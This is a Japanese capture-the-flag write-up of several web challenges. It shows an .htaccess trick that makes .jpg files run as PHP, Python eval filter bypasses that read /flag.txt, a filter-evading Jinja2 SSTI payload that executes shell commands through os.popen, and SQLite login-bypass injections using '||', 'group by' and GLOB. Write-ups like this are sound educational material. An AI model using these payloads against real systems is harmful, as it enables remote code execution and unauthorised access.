byp4ss3d
AddType application/x-httpd-php .jpg
を含んだ .htaccess をアップすることで .jpg ファイルに記述された php が動作するようになる。
3v@l
タイトルで推測できるが eval のフィルターバイパス問題。
最終的には以下コマンド実行結果を表示させたい。
open('/flag.txt').read()
base64 でバイパスしてみる。指定すべき文字列を確認。
$ echo -n '/flag.txt' | base64
L2ZsYWcudHh0
以下を入力ボックスに入力。
open(__import__('base64').b64decode('L2ZsYWcudHh0').decode()).read()
別解。/ と . だけ chr で指定して、他は文字を分断して対応。
open(chr(47)+"fl"+"ag"+chr(46)+"tx"+"t").read()
SSTI 2
Web アプリ側で実装されたフィルターを搔い潜って SSTI 攻撃を成立させる。
最終的には以下のように SSTI 攻撃による Linux コマンド実行結果を表示させたい。
{{request.application.__globals__['__builtins__'].__import__('os').popen('ls').read()}}
. (dot) や _ (under score) や ” (double quotation) がフィルタされている。
そこで . のようなプロパティ呼び出しや辞書キー呼び出し、_ の代替を考える。結果。
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('ls')|attr('read')()}}
__globals__ や __builtins__ や __import__ は実際は実行環境 (通常のスクリプトか exec , jinja2 等の埋め込み環境か、等) によって辞書だったりオブジェクトプロパティだったりするため __getitem__ を手探りで使う感じか。
Web Gauntlet 2
AND password= を文字列として処理させる。
Username: ad'||'min' group by
Password: '
この結果、
SELECT username, password FROM users WHERE username='ad'||'min' group by' AND password='''
という処理がされる。結果として1行でもエントリがあれば認証成功なので group by は何でもよい。(少なくとも SQLite では)
Web Gauntlet 3
25 文字以内。SQLite で使える GLOB で以下のような WHERE 句を作る。
WHERE password = '' GLOB '*'
処理の順序としては password = ” により FALSE と判定されるが続く GLOB ‘*’ により FALSE は文字列 ‘0’ にキャストされ ‘0’ GLOB ‘*’ により TRUE 判定となる。
Username: ad'||'min
Password: ' GLOB '*